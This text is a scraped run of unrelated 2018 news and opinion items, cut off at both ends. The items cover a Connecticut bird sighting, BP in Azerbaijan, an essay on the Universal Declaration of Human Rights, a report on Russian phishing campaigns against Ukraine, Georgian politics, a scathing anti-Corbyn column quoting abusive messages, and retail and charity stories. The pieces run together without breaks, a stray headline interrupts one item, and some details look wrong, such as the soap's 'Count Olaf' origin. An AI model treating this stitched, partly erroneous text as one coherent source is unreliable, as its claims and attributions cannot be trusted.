amazing color, its habit of roosting and feeding in the open for all to see, and its undeniable appeal in addition to drawing big crowds, it caught the attention of NatGeo and Audubon Magazine the Roseate Spoonbill is Connecticut's 2018 Bird of the Year." The bird was first identified by Paul Raccuia, who spotted it in Stratford and notified the Connecticut Audubon Society. "[They] will occasionally travel up the Atlantic Coast as far as southern New Jersey, but seeing a Spoonbill in Connecticut and Maine (where it was also recently recorded as a state record) was unheard of before this summer," according to a release from the Connecticut Audubon Society. "This year for some unknown reason there seems to be more of them moving north than usualalthough I don't know how many. It might be related to some poor feeding conditions in their normal range," Andersen said. More News Osprey rescue in Conn. has unhappy ending The number two birds on the sist are actually "more significant ornithologically," according to the Connecticuut Audubon. The Sedge Wrens that nested in a field at Connecticut Audubon's Bafflin Sanctuary in Pomfret successfully nested in July and were raising young, in a field near a marsh along Day Road. And as with the Spoonbill, the crowds soon arrived. Energy giant BP has announced it has signed an agreement to explore renewable energy opportunities in oil rich Azerbaijan. As Energy Voice writes in the article BP to explore renewables in oil rich Azerbaijan, the memorandum of understanding (MOU), signed between BP and the Republic of Azerbaijan, follows the Government of Azerbaijans development of a renewables framework plan. The plan claimed it was important for the country to increase its share of renewable energy generation. A recent Azerbaijan Energy Regulatory Agency (AERA) report said that the country currently has put 3500 megawatts (MW) of renewables generation into operation over the last twelve years, mainly in thermal, hydro and solar power. But the country currently suffers from a dearth of wind energy, with only 60.7MW in operation. The report added that Azerbaijan plans to commission an additional 400MW by 2020. Gary Jones, BPs regional president for Azerbaijan, Georgia and Turkey, said: We look forward to working with the Government to understand and jointly explore the potential renewables opportunities in the country. We support the development of the planned framework for the renewable energy sector in Azerbaijan. Globally, we have been in the renewables sector for more than 20 years and have a great deal of experience to share with the country. Renewable power production is expected to remain the fastest growing form of energy in the world as the energy mix is shifting towards lower carbon sources. We welcome the recent announcements by the Government to develop a regulatory framework for renewables and are pleased to have signed todays MoU to help the countrys efforts in this area. BP Alternative Energy currently has a portfolio across the three areas of renewable fuels, renewable power and renewal products, adding it is looking at the whole spectrum of renewable energy opportunities in Azerbaijan. Parviz Shahbazov, Azerbaijans energy minister, said: Increasing alternative and renewable energy production and raising their role in the energy security are currently important issues to be solved, as set by the head of state of Azerbaijan. We are currently studying the international experience, developing the countrys legal framework and conducting consultations with international companies for the development of renewable energy. With the document we signed today, what Azerbaijan has accomplished in the area of renewable energy sources will enter a new stage of development. I believe our long cooperation with BP based on a strong partnership in the oil and gas sector will be beneficial for the renewable energy sector as well, enabling us to contribute together to the development of clean energy. Azerbaijan Airlines magazine received the "Russia's Golden Pegasus" award of the International Guild of Professional Photographers of Russian Media in nomination for high professionalism and artistic design of material. Right before the award ceremony at the Azerbaijani embassy, President of this guild, Sergey Lidov, said that ths international award was established in the early 2000s. Decision to award it is made collectively. "Professionalism in everything is very important for us. Especially when it comes to photos and design. We reviewed several publications, including magazines of Aeroflot and other companies, but we have found some flaws everywhere. But Azerbaijan Airlines magazine made good impression on our team, so it's a well-deserved award," Sergey Lidov said. Azerbaijani Ambassador Polad Bulbuloglu thanked national airline for its high level service and noted that AZAL is actively working with the Russian Federation. "There are 7-8 daily flights between Baku and Moscow, and 9-10 in the summer. Over thousand people move between our capitals every day. Everyone understands that maintaing airline is very expensive, especially at a high level. AZAL President Jahangir Askerov managed to reach the level of the famous Azerbaijani Aeroflot department, which existed in Soviet times," he said. Editor-in-chief of the Azerbaijan Airlines magazine, honored journalist of Azerbaijan, Musa Marcanli, said that this award was a pleasant surprise. "About 400 thousand passengers read each edition. Our magazine is the only on-board publication that shows history, culture and heritage of Azerbaijan in different countries," Musa Marcanli noted. Seventy years ago this month, the United Nations General Assembly adopted the Universal Declaration of Human Rights with the highest of hopes. The declaration lists 30 fundamental rights to which every human being is entitled - civil and political, social, economic, and cultural. They range from the sublime to the mundane: the right to freedom of conscience, but also the right to paid vacation and the right "to enjoy the arts." Eleanor Roosevelt, addressing the assembled delegates in Paris, proclaimed that the document "may well become the international Magna Carta of all men everywhere." In 2018, however, the declaration remains an unfulfilled promise. Progressivesfault the human rights movement for ignoring global economic inequality, and regimes like Iran and Venezuela have cynically weaponized human rights to score propaganda victories at the United Nations while shielding themselves from international scrutiny. But the real problem is less overt politicization or selective implementation than poor design. The truth is that its authors, by crafting a voluntary declaration instead of an international law, left it toothless to protect humans around the world whose rights it sought to enshrine. And in doing so, they laid out a pattern for future failures. Governments might do a much better job of safeguarding the integrity of their citizens today if only the framers in 1948 had insisted that U.N. member-states immediately accept binding rules instead of unenforceable norms. The Universal Declaration was a product of the brief afterglow of Allied victory in World War II. During the war, Winston Churchill and Franklin D. Roosevelt began to pepper their speeches with references to restoring the "rights of man" and protecting "human rights" from tyranny and aggression. This soaring if vague rhetoric sent European and American policy planners scrambling to imagine what securing individual rights in the global legal architecture of the postwar world might look like. Building that architecture eventually fell to the new U.N. Commission on Human Rights, where diplomats and legal consultants worked to draft the declaration's text over the course of 1946 to 1948. They were recruited from leading legal and political figures around the globe, with representatives from China, France, Chile and India, among other nations. This diversity, however, guaranteed that there would be no easy consensus on what the declaration should contain. Eleanor Roosevelt clashed with her Soviet counterparts, who opposed trade unions and the right to private property. Latin American representatives wanted God mentioned and abortion prohibited. The Saudis opposed freedom of religion and freedom of marriage as antithetical to Islamic views. The Americans worried about criticism over racial segregation, while the British and the French feared any provisions that might undermine their colonial empires. What emerged from these debates was a surprisingly modest vision. The goal of the Universal Declaration was not to end state sovereignty or to level the playing field of global justice. Rather, its drafters forged a legal compact in which nation-states would commit to an internal baseline of freedom and welfare for their own citizens. In fact, the final text of the Universal Declaration is remarkably neutral on many core questions of modern politics. It does not demand democracy or proscribe autocracy. It is fully compatible with communism, capitalism and even colonialism. Most strikingly, it is technically not law at all, but only a statement of nonbinding principles. Originally, the United Nations announced the creation of an International Bill of Rights akin to a global constitution. But over the course of 1947 and 1948, the document's framers made the fateful decision to separate the declaration from a binding legal covenant, or international treaty, that U.N. member-states could eventually sign into law. At the time, the absence of an enforcement mechanism was viewed as a necessary price to pay for global consensus. Many also assumed that this move would suffice, since Western superpowers would backstop the system with their global clout through the Security Council. But enumerating rights without obligating states to recognize them left international human rights as soft legal rhetoric bereft of hard legal authority. States could voice selective support for norms without any independent judiciary to verify their claims or provide a forum for injured individuals. Sharp-eyed observers said as much at the time. In 1947, Hersch "Zvi" Lauterpacht, a leading expert on international law, objected in a BBC radio lecture that "to a lawyer, the enunciation of a right without the provision of a remedy is a juridical heresy . . . What is required at this juncture of history is not the recognition and not even the formulation of inalienable human rights but their effective protection." A year later, he added, "It is clear to me that the declaration does not carry things further and that in some important respects has put the clock back." Lauterpacht was prophetic, for the U.N. Commission on Human Rights, the body of elected country delegates and U.N. bureaucrats charged with supervising the Universal Declaration, quickly showed itself unwilling or unable to respond to requests for help. Between 1947 and 1957, roughly 65,000letters arrived at its doorstep from individuals alleging human rights violations in their countries. The avalanche of mail powerfully testified to the fact that the Universal Declaration had alerted people to the ideals of human rights. Yet the commission declined to investigate these complaints; neither great powers nor small ones wanted it determining when they'd broken the rules. In the 1960s and 1970s, the gap between the stirring language of the Universal Declaration and its actual effectiveness only expanded. When new African states entered the U.N. ranks after 1960, many veteran human rights activists hoped they would use their political clout on behalf of the long-planned legal treaties related to the Universal Declaration. They did so in 1966, ushering in two major treaties designed to implement the declaration. This eventually led to other human rights treaties, addressing issues such as racial discrimination and women's rights, along with the controversial International Criminal Court. Yet the patchwork nature of this new system of laws made it vulnerable to intense politicization. Worse still, the new postcolonial states proved just as determined as their former Western rulers to guard their sovereignty and pick and choose which rights to observe. In 1968, when the United Nations hosted a conference in Tehran to celebrate the 20th anniversary of the Universal Declaration, Western diplomats came away dismayed by how human rights activism in the developing world had devolved into ideological score-settling. "Many of those who attended the Conference felt that this would be an occasion for mutual backslapping," wrote Rabbi Maurice Perlzweig of the World Jewish Congress. "As it turned out, it proved to be an occasion for mutual nose-punching." Curiously, the political controversy over human rights at the United Nations did not stop a growing interest in the Universal Declaration itself. If anything, disillusionment with the limits of human rights law only increased reliance on the text as a norm. Across the 1970s and 1980s, as human rights grew from an elite U.N. legal project into a grass-roots movement, groups like Amnesty International routinely invoked the Universal Declaration to mobilize public opinion. In the absence of international legal enforcement, popular culture, media and protest politics could be used to name and shame states. The climax came in 1988, when Amnesty International sponsored a series of rock concerts around the world to celebrate the declaration's 40th anniversary. Leading musicians like Sting, Peter Gabriel, Tracy Chapman and Bruce Springsteen took the stage to promote human rights awareness - along with Amnesty's own brand and that of its corporate sponsor, Reebok. The end of the Cold War in the 1990s brought a burst of U.N. efforts to reverse-engineer some of the pieces missing from its half-built legal architecture. The General Assembly launched the Office of the High Commissioner for Human Rights in 1993 to serve as a neutral legal ombudsman, while world leaders gathered in Rome in 2002 to revive the old idea of an International Criminal Court. At the behest of the United States, the rights commission was restructured and renamed as the Human Rights Council in 2006 to depoliticize its work. Yet these institutional developments still do not make up a full legal system that can truly enforce the Universal Declaration as global law. Last year, the Office of the High Commissioner for Human Rights launched a 70th-anniversary hashtag, #standup4humanrights, and a website that insists "we can all be Human Rights Champions." All it takes, apparently, is posting individual stories online and recording an article of the declaration in one's own language. There is hardly any mention of law or politics; it suffices to "promote,engage and reflect." That lofty rhetoric neatly captures how human rights remain captive to their flawed postwar origins. The strategic decision to sidestep hard law in favor of soft norms yielded a new universal moral language. That success, however, came at the cost of a more comprehensive legal system that could withstand politics and compel states to do the right thing. In a world sorely lacking in global leadership, the champions of human rights stand poised to earn only the hollowest of victories. --- Loeffler, the Jay Berkowitz chair in Jewish history at the University of Virginia, is the author of "Rooted Cosmopolitans: Jews and Human Rights in the Twentieth Century." Russia Launched Cyber Attacks Against Ukraine Before Ship Seizures Russian government-affiliated actors launched coordinated cyber-attacks against Ukrainian government and military targets before and during the attack and seizure of Ukrainian ships and sailors on November 25, a private intelligence firm announced recently. The attacks appeared to be aimed at stealing information that would have been relevant to planning the operation, according to Stealthcare, a cyber threat intelligence group. If so, the revelation challenges Russias already widely-disputed claim that Ukraine initiated the crisis. Russia has a long history of timing cyber-attacks to offensive operations, going back to Georgia in 2008. Russian cyber-attacks have featured heavily in the Ukraine conflict, most significantly knocking out power on Christmas Eve 2015 for thousands of Ukrainians. This autumn, Stealthcare first observed a Russian state-baked entity known as the Carbanak group develop a new phishing campaign, using deceptive emails to convince targets to click links and download malware around Oct. 25. The targets were government agencies in Ukraine and across Eastern Europe, according to CEO Jeremy Samide. Attached to the emails were PDFs with links and other pieces of code that, when executed, would allow the attacker to steal or exfiltrate data and gain control over important computer functions. While Samide said he couldnt say which government entities were targeted, because of sensitivities surrounding the target, he said they would have had information related to Ukrainian foreign and naval affairs, information that would have been very useful if you wanted to engineer a maritime crisis. Samide says there is no doubt that this was a Kremlin-led reconnaissance effort to prepare for the Kerch Strait crisis. A separate Russian actor tied to the Russian FSB, called the Gamaredon Group, targeted Ukrainian government agencies with a backdoor attack called Pterodo, tailored to Windows, a few days before Nov. 20, when Stealthcare first reported seeing it. On Nov. 26, just Russia seized Ukrainian vessels and imprisoned Ukrainian sailors, Stealthcare observed a second, coordinated attack by the Carbanak group aimed at key Ukrainian government and military targets. The malware linked to the phishing attack would have allowed for the theft of data or emails. The spyware war has since heated up on both sides. Earlier this December, Stealthcare observed a new phishing scam aimed at Russian entities involving fake PDF documents loaded with malware. Its not clear as to what targets it actually hit, said Samide, who couldnt yet name the source, but some of the documents appear to be masquerading as health documents from Moscow based hospitals, he said. We now know that the latest attack retaliating against Russia is a highly targeted attack against their FSBI Polyclinic No.2, which is affiliated to the Presidential Administration of Russia. Most notably, the lure document used in the attack exploits the latest Flash zero-day vulnerability, he told Defense One in an email. The threat actor exhibits the tactics, techniques and procedures (TTPs) of an Advanced Persistent Threat (APT) actor. The document that is being delivered shows a questionnaire for staff of the Moscow-based hospital, but it secretly executes malicious code in the background. Russian cyber offensive operations are a growing concern for US policymakers, particularly Democratic Sen. Mark Warner from Virginia, ranking member of the Senate intelligence committee. Countries like Russia are increasingly merging cyber-attacks with traditional information operations, he said at the Center for New American Security, in Washington on Friday 7th December. This emerging brand of hybrid, cyber warfare exploits our greatest strengths our openness and the free flow of ideas. Unfortunately, we just arent waking up to that fact. Defense One: You Might Also Read: Russia And Ukraines Crisis Could Escalate Beyond Cyberwar Georgia's Prime Minister Mamuka Bakhtadze said that Georgia is facing two painful challenges poverty and unemployment. According to him, everyone wants the country to be without poverty, where every citizen will have the right to a decent life. The PM said that Georgia's national task is to overcome both challenges through joint efforts. "Our goal is to return Georgia to its large European family, where the main values are freedom of human, human rights, freedom of court and the media, the rule of law, private property. Achieving all of this is a difficult task due to challenges we face," 1tv.ge cited Bakhtadze as saying. According to him, carrying out real change in Georgia has begun since 2012 and the maximum is done to overcome poverty. But as he noted the poverty still remains as one of the main problems of the country and Georgia's main task is to overcome it. Dr. Oz's U.S. Senate in Pa. What to know about him and where he lives US President Donald Trump congratulates has congratulated Salome Zurabishvili on her election as President of Georgia, InterPressNews reports. "The US fully supports Georgia's territorial integrity, prosperity and democratic development, as well as Georgia's further integration into the West. I am looking forward to continuation of a close partnership between the US and Georgia over a number of issues. We are grateful for Georgia's contribution to the NATO-led mission in Afghanistan. Best wishes to you and the Georgian people, " reads the Donald Trump's letter of congratulation. Dear Editor: SUNY is crumbling because Gov. Andrew Cuomo refuses to support its basic operations. Cuomo has effectively frozen state funding to SUNY since 2012, leaving each campus in a constant crisis. Budget cuts are a regular occurrence at SUNY New Paltz. Faculty and staff have become accustomed to working longer hours because of positions left vacant due to the absence of revenue. The result is less time to provide students with the education they deserve. This year, Cuomo made SUNYs situation even worse. After refusing to ratify a much-needed union contract for nearly two years, Cuomo finally relented and granted SUNY employees meager salary adjustments. However, Cuomo is forcing each SUNY campus to bear the burden of these increasing costs. SUNY New Paltzs budget deficit is $4.5 million larger because of Cuomos actions. The governor could guarantee basic funding for SUNY by signing the Maintenance of Effort bill. This would ensure that New York state pays routine costs, including utilities and union contracts. Both the state Assembly and Senate have passed this bill, and it currently sits on Cuomos desk. He needs to make good on the promise of public higher education and sign the bill. The opinions expressed here do not necessarily reflect the views of SUNY New Paltz. Sunita Bose New Paltz, N.Y. The writer is the chair of the Sociology Department at SUNY New Paltz. Turkish President Recep Tayyip Erdogan on Thursday pledged his support for Iran against the sanctions imposed by the United States, Yeni Safak reported. Turkey does not approve the U.S. sanctions on Iran since it leads to destabilization in region, he said at a joint press conference with Iranian counterpart Hassan Rouhani. Turkey, Iran have many joint steps to take for regional security and an end to clashes, he added Erdogan said Turkey did not allow any entities seeking to harm the security of the country and the region, adding that it would not all allow them in the future. Ankara and Tehran have a strong will to increase cooperation in this regard, he stressed. "We will continue to be in solidarity with brotherly Iran at a time when pressures on Iran mounts which we find unjust," Erdogan added. France is to adopt a law which will allow professional citizens of Georgia to work there legally, Georgia Today reported. The information was released by the Minister of Foreign Affairs of Georgia David Zalkaliani. The Minister said after the agreement comes into force, young specialists of Georgia, including those who received higher education in France, will be able to obtain a temporary residence permit in France for legal employment. We have signed an agreement with France that has been ratified by the French Parliament. Yesterday, the French President signed this agreement, which will be presented as a law allowing the citizens of Georgia to work legally in France. This is a very important achievement, he said. Zalkaliani stated he would provide more information and details shortly. He added that the Georgian side is working on this issue with a number of other countries. Three years ago, addressing his first Labour conference as leader, Jeremy Corbyn told his acolytes that his victory marked the beginning of a new style of politics. I do not believe in personal abuse of any sort, he said earnestly. Theres going to be no rudeness from me . . . So I say to all activists, cut out the personal attacks, and especially the misogynistic abuse. Fine words if only he had heeded them. For we saw a very different Jeremy Corbyn yesterday. Smarting after a beating at the hands of Theresa May in the Commons, and forgetting the camera was on him, the Labour leader muttered bitterly: Stupid woman. Labour leader Jeremy Corbyn says something under his breath after the British Prime Minister Theresa May likened Labour's attempt to table a no confidence motion in her to a pantomime, reported to have been 'stupid woman' Once he realised he had been caught, almost any other Labour leader would have offered a swift apology, and the matter would probably have been forgotten. In the heat of the moment, everybody makes mistakes. But apologies are not in Mr Corbyns nature. Instead, he had the gall to return to the Commons and claim he had actually said Stupid people even though professional lip-readers were convinced the second word was woman. It might sound like a trivial slip. But trivial slips can be very revealing, and when you factor in Mr Corbyns dishonesty afterwards, I think it was a remarkable glimpse behind the Labour leaders pious mask. Mr Corbyns disciples love to depict him as a saintly, well-meaning man, a kind of secular Jesus. But as yesterdays events showed, you do not have to scratch the surface too deeply to reveal the intolerant, hypocritical and fundamentally nasty reality. Like so many on the high-minded Left, Mr Corbyn views himself as the embodiment of virtue. He is suffused with a sense of righteousness, smug in the knowledge that he is one of the enlightened few, surrounded by evil Tories and brainwashed masses. Ever since he won the Labour leadership, he has struck me as a Dickensian figure, a monster of sanctimonious hypocrisy, at once complacent, conceited and utterly cynical. Boast What also strikes me, though, is that this is not just a Jeremy Corbyn problem. He is merely the embodiment of the rank hypocrisy and repellent misogyny of the Labour Left. Mr Corbyns followers always talk a good game, of course. They boast about their love of equality and their enthusiasm for quotas. But their own actions tell a different story. In 2016, for example, Mr Corbyn was happy to speak at an event organised by the far-Left Socialist Workers Party, despite the fact that this extremist sect had become embroiled in allegations it covered up rape and sexual harassment. More than a hundred of his own supporters begged him not to go but he went anyway. In 2014 Corbyns current Shadow Chancellor John McDonnell told an audience of hard-Left activists that Tory minister Esther McVey be sacked and echoed call by one of her constituents that they should lynch the b****** A year later, a Labour activist called Bex Bailey alleged she had been raped at a party event. So what did Mr Corbyn do? The answer, of course, is nothing. Indeed, only a few months ago, Ms Bailey accused the party of dragging its feet over an independent report into its culture of sexual abuse. The truth is that the Left care about womens issues only when they fit into their wilder ideological schemes. If women get in the way, they are ignored. And if women challenge the entitled, privately educated men at the top of the self-styled Peoples Party, they can expect a venomous reaction. I could fill every page of this newspaper with examples. In 2014, for example, Mr Corbyns current Shadow Chancellor and Marxist puppet-master John McDonnell told an audience of hard-Left activists that not only should Tory minister Esther McVey be sacked, but echoed a call by one of her constituents that they should lynch the b******. Would he have talked of lynching her if she had been a man? I doubt it, somehow. Another leading Left-wing MP, Clive Lewis, once greeted an actor on stage at a Momentum event with the words: Down on your knees, bitch. He later claimed it was a joke. But if a Tory MP had said it, can you imagine the reaction? Corbyn critics Angela Eagle MP (left) and Stella Creasy MP (right) have been bombarded with abuse from hard-Left activists The Lefts most vicious treatment, however, is reserved for women within its own ranks who have the temerity to challenge their beloved leader. The Labour MP Stella Creasy, for example, has been bombarded with rape threats and misogynistic abuse from hard-Left activists who want to drive her out of her Walthamstow constituency. Another Corbyn critic, MP Angela Eagle, who is gay, received hundreds of abusive, homophobic and frightening messages when she considered challenging him for the leadership, and had a brick thrown through the window of her constituency office in Wallasey. The Stoke-on-Trent North MP Ruth Smeeth who, for the Left, has three black marks against her, since she is Jewish, a woman and a critic of Mr Corbyn received a staggering 25,000 abusive messages after she dared to speak out. Hang yourself you vile treacherous Zionist Tory filth, youre a cancer of humanity, read a typical example. So much for Mr Corbyns kinder, gentler politics. Labour MPs Ruth Smeeth and Luciana Berger speaking at an Association of Jewish Refugees event in the Houses of Parliament in Westminster, London, on the 80th anniversary of the Kindertransport scheme. They have both been the victims of anti-Semitic abuse And almost incredibly, the Labour MP Luciana Berger needed police protection to attend her own party conference, because she had the courage to denounce the culture of virulent anti-Semitism that has seeped deep into the heart of Mr Corbyns Labour Party. The remarkable thing about these examples is that no man has attracted anything like the same abuse. The only possible conclusion is that the Left have a problem with women. In some ways, perhaps that is not surprising. Crude The partys paymasters, the trade unions, were bastions of the crudest chauvinism until well into the Eighties. And it is surely no coincidence that while the Conservatives have produced two female Prime Ministers, Labour has yet to elect its first woman leader. Indeed, the Lefts treatment of Britains two women Prime Ministers could hardly be more revealing. Rather than simply disagreeing with Mrs May, they sneer at her appearance and mock her as a robot. Mr Corbyn might be able to help being a nasty, dishonest, sexist hypocrite. But the poor fellow cant help being stupid, says Dominic Sandbrook Their treatment of Margaret Thatcher, meanwhile, took their misogyny to extraordinary heights. She was never simply wrong: she was Attila the Hen, the Great She-Elephant, the Pasionara of Privilege or simply That Woman. And when Lady Thatcher died, what was the song Left-wing activists tried to get to the top of the charts? It was, of course, Ding, Dong, The Witch Is Dead. How very progressive. Why do the Left do this? Why do they harbour such hatred for women? Why do they talk of witches and bitches, of hating and lynching? The answer, I think, is that they are so wrapped up in their own moral superiority that they treat opponents (Tory scum) with strident intolerance. Abuse And precisely because these shameless hypocrites are so convinced of their own virtue, they think they can do no wrong. They can hurl any abuse, tell any lie, in pursuit of their ideological ambitions, and they think history will vindicate them. None of this is surprising. What is surprising is that Commons Speaker John Bercow let Mr Corbyn get away with it. You dont have to be a conspiracy theorist to wonder whether this was payback for Labours support after allegations that Mr Bercow bullied his staff many of whom, of course, happen to be women. And there is one last irony in all this. Theresa May is not perfect, but she is definitely not stupid. Having won a place at grammar school, she then went to Oxford, where she did a degree in geography. By contrast, Jeremy Corbyn went to private school, gained just two Es at A-level and never managed to finish his degree in Trade Union Studies at the Polytechnic of North London. Still, we shouldnt be too harsh. Mr Corbyn might be able to help being a nasty, dishonest, sexist hypocrite. But the poor fellow cant help being stupid. A woman says she was unable to get a personalised Toblerone for Christmas because her name is on a ban list due to links with terrorism. Isis, who was named after an Egyptian goddess, visited a Myer store in Victoria to get her name printed on the chocolate bar last week. But when the sales assistant typed her name into the computer, the customer claimed an 'error' popped up showing 'Isis' on the banned list. ISIS is also the acronym for Islamic State of Iraq and Syria which is a terrorist organisation that has claimed responsibility for attacks around the world. A woman has claimed she was unable to get a personalised Toblerone for Christmas because her name was flagged as banned in the system at a Myer store in Victoria What is Isis? Isis is an Egyptian goddess. But in recent years, the name has been associated with the terror organisation Islamic State of Iraq and Syria (ISIS) - also known as Islamic State - who have claimed responsibility for beheading U.S. and British nationals on camera. Advertisement 'It is 2018 and my name is still on the banned list... It means Egyptian goddess, not terrorist,' she said. Despite showing her ID as proof of identity, the sales assistant was still unable to finalise the printing order. 'The printing software won't allow them to create the label. I'm on a banned list, along with all the swear words you can think of,' Isis explained. 'The woman typed "Isis" into her label program, and an error came up saying it is on a banned list. I'd only be able to get them to put a blank sticker on. 'It was the same with Nutella when it was all the rage a couple of years ago.' When the sales assistant typed her name into the computer, the customer claimed an 'error' popped up suggesting 'Isis' was banned from printing on Toblerone A Sydney shopper told Daily Mail Australia she was waiting in line at Myer on Monday when a customer in front of her discovered their name was banned when they tried to place an order on the customised chocolate. 'I overheard a staff member say to the customer in front of me: "There are heaps of names that have been banned and we can't override the system. Does your friend have a nickname? Sadly this is happening a lot but there's nothing we can do on our end. Sorry you need to pick a different name".' Daily Mail Australia has contacted Myer for comment. If you're struggling to find a warm and stylish winter coat, then you're in luck - as one of John Lewis' bestsellers has just come back in stock. The John Lewis & Partners Double Faced Belted Collar Coat, which comes in camel, sky blue and raspberry pink, was originally released in September from their AW18 collection. But just weeks after it came out it sold out in all sizes. The coat, which proved to be a hit with John Lewis fans was originally priced at 199, but now its back in stock they knocked off nearly half the price - taking it down to a purse friendly 100. The John Lewis & Partners Double Faced Belted Collar Coat originally sold out in September. Made with Italian fabric, woven at a family run mill in Tuscany, the soft belted wrap coat has large collars and stitching detail which matches the belt. Made with Italian fabric, woven at a family run mill in Tuscany, the soft belted wrap coat has large collars and stitching detail which matches the belt. The coat has gone done well on social media too, with one fan commenting: Gorgeous! Especially the coat in raspberry pink. Another added: Loving the new branding and this seasons looks @johnlewisandpartners. The coat was part of the John Lewis & Partners AW18 collection in early September which included 300 pieces. The coat, which proved to be a hit with John Lewis fans was originally priced at 199, but now it's back in stock they knocked off nearly half the price - taking it down to a purse friendly 100. The coat is proving popular again this time around, with the camel colour selling out already. The collection was a part of a major revamp for store after news in September that they had recorded a 99 per cent fall in half-year profits. But in September data shared exclusively with MailOnline, revealed that the 300-piece range has been 'flying off shelves' - with the coats in particular proving popular. And the coat is proving popular again this time around, with the camel colour selling out completely. While the raspberry pink colour is nearly gone too - selling out in sizes 8 - 10, plus 18. But you're in luck if you prefer the sky blue colour, as it is still available in sizes 8 - 18. The 100 Raspberry pink coloured coat is now only available in sizes 12,14 and 16 online. The John Lewis & Partners collection was unveiled this Autumn, dubbed its 'biggest and best yet' - emphasises 'riotous colours and easy silhouettes'. Iain Ewin, partner and head of design for womenswear and accessories, said: 'We want to empower women to be individual, to be unique and find their own style.' The launch came just weeks after the retail giant reported profits had fallen to 1.2 million for the six months to July 28 as its chairman blamed a 'challenging time for retail' which had been 'created in part by Brexit'. Debate has raged for years over the real reason for the label on the Imperial Leather bar of soap. The sticker is known for remaining secure even after weeks of use as the bar slowly wears away. But now it's been revealed that the scratchy metallic label is actually a stand to stop the bar sticking to the soap dish. One fascinated person on Reddit said it 'amazed' them how it managed to stay in place for so long, and was hit with a mind-blowing revelation about its real purpose. A commenter explained that the sticker is meant to be used as a mini soap stand, and that the bar should be placed with the label facing down. Imperial Leather confirmed to MailOnline that apart from brand identity the 'sticker on the top is for a long lasting bar and preventing mushiness'. Redditors queried the real reason for the sticker on the Imperial Leather soap bar, which the brand has confirmed 'is for a long lasting bar and preventing mushiness' Others were equally intrigued by the reason for the sticker as it was suggested that the main reason for it was to create a stand for the bar 'You have no idea how many times Ive sat in the bath and stared at this sticker in amazement that it sticks to the soap till the very end, Please enlighten me,' they asked. Many discussed how nostalgic the soap was for them, reminiscing about seeing it in their grandparents bathrooms, whereas others were determined to uncover the truth. 'I don't know what glue they use, but I was always told that the sticker is meant to substitute for a soap stand, and should always be downwards,' revealed one. 'Well ****** me with a bar of soap! That makes perfect sense, I've been an imperial guy for years and never thought of that so I just went and 'flipped my soap' and it works, thanks!' one amazed reader responded. Some suggested that the label itself was magnetic and helped it to stick. 'Older bathrooms used to sometimes have a chrome thing mysteriously fixed to the wall over the bath. 'It was magnetic and I think the the metal label on the soap stuck to it, thus removing the need for a gooey soap dish. Seemed like a good idea at the time,' said another. Cussons & Sons eventually took over Bayley's of Bond Street, which included the acquisitions of original fragrances, in 1930 they launched their first Imperial Leather soap based on the scent Imperial Leather explained to MailOnline further: 'Besides the brand identity, the sticker on the top is for a long lasting bar and preventing mushiness. 'When the soap is used, the sticker will make and keep the top surface, where the sticker is on, concave. 'After use, the soap is supposed to be upside down. The concave surface will help water run out from the bar and minimise the touching surface on a soap tray.' Imperial Leather was initially a scent first created in 1798 by Royal London perfumery Bayleys of Bond Street, which was visited by Russian nobleman Count Olaf, who requested they create a fragrance reminiscent of the distinct aroma of the Russian Courts. It was named Eau de Cologne Imperiale Russe, and became his favourite fragrance. Cussons & Sons eventually took over Bayley's of Bond Street, which included the acquisitions of original fragrances, in 1930 they launched their first Imperial Leather soap based on the scent. Do you know a woman who deserves recognition for her extraordinary strength, bravery or perseverance? Nominate her for our Inspirational Women of the Year Awards, in association with Swarovski. She could be from any walk of life an exceptional carer, teacher or community champion. Finalists will attend an awards gala next March, in support of YoungMinds, a charity working to improve the mental health of young people. It is part of Heads Together, co-ordinated by The Royal Foundation. Opening her emails, Val Phillips bursts into a big smile. On her screen are photos of two gorgeous border collies: snoozing contentedly on their beds; racing through a wintry field; leaping into a stream; and being smothered with hugs by their loving owner. Her pleasure at seeing such happy and healthy animals is natural. But, for Val, theres a deeper joy in these pictures. Because she remembers what the two collies, Jenny and her sister Katie, looked like just two months ago, when they arrived on her doorstep in the most pitiful state. Val Phillips, 66, (pictured) has rehomed thousands of dogs since setting up her charity, Valgrays Border Collie And Animal Rescue in 1978 They had been so maltreated, they were close to death. And it took the commitment and patience of this remarkable woman to nurse them back to health and make them fit for a new home just in time for a cosy family Christmas. My heart almost broke when I first saw them, says Val, 66. They were strays who had ended up living feral. A dog warden saw them running along the motorway and managed to catch them. Collies are such magnificent animals, but this pair were skin and bones. Their coats were so full of filth, their matted fur weighed more than the animals themselves. Over the next few weeks, Val nursed the dogs back to health, until she was able to wave them off to their loving new home with a family in Sunbury-on-Thames, Surrey. Its what she does every day of her life, serving as a last-resort carer for dogs who are seriously damaged, often near death, and cant be looked after by regular rehoming charities. She also raises funds to rescue as many dogs as she can from Romania, where a large number are treated horrifically. Theres never a quick fix, she says. Dogs who have been badly mistreated dont just need to be physically healed, they need to learn to trust again. Thats why wardens and charities, including Battersea Dogs Home, send me their dogs for rehabilitation. It takes endless patience and time, which most families dont have. I will sit for hours talking gently to a dog, coaxing him to trust me. I never look him in the eye I just let him make the first move. I know Ive cracked it when a dog voluntarily comes to sniff me. When they finally consent to a cuddle, its the best feeling in the world. But it can take weeks. For 40 years, Val, who lives with her partner, Keith Best, 66, a retired paramedic, has run an animal rescue centre from their home in Warlingham, Surrey. Her charity, Valgrays Border Collie And Animal Rescue, was established in 1978 and, since then, Val has rehomed thousands of dogs. Vet bills run to at least 1,000 a month and then there are all the animals to feed. Val operates the charity without any pay, instead relying on her pension and donations to care for the animals Val works without any pay, relying on her pension. Running costs are found through donations or the proceeds of a charity shop she runs with volunteers in her home village. Its become a bit of a community hub, she laughs. Val and her team of five volunteers including Keith and her daughter Victoria, 36, an office worker take in abandoned and maltreated dogs from all over Britain and Romania. While Val now has a core pack of some 15 dogs all so psychologically damaged they cannot be rehomed her priority is to rehabilitate the animals that come to her door. Her dream is to prepare them so that they are ready to live in family homes. Abandoned and mistreated animals arrive day and night, brought in by the public and dog wardens or rescued (at a cost of about 300 a dog) from Romania. The way dogs are treated in Romania is barbaric, she says. They are kicked, beaten, set on fire and hit by cars often on purpose. Romania has had a problem with stray dogs for generations. Theres no neutering programme, so the stray dog population has now grown into the millions. Val has rescued more than 150 dogs from Romania over the past eight years dogs such as Icey, who lived with her for five years until he died in April, aged 18. All the money to rescue him was raised by well-wishers, says Val. Icey was so thin, he was close to dying of hypothermia. Val revealed her passion for animals began in her childhood as her parents ran a pet shop and her family home was full of animals But, under Vals tender care, Icey blossomed to such an extent that he became the star of the charitys Facebook page, was photographed with dog-loving novelist Jilly 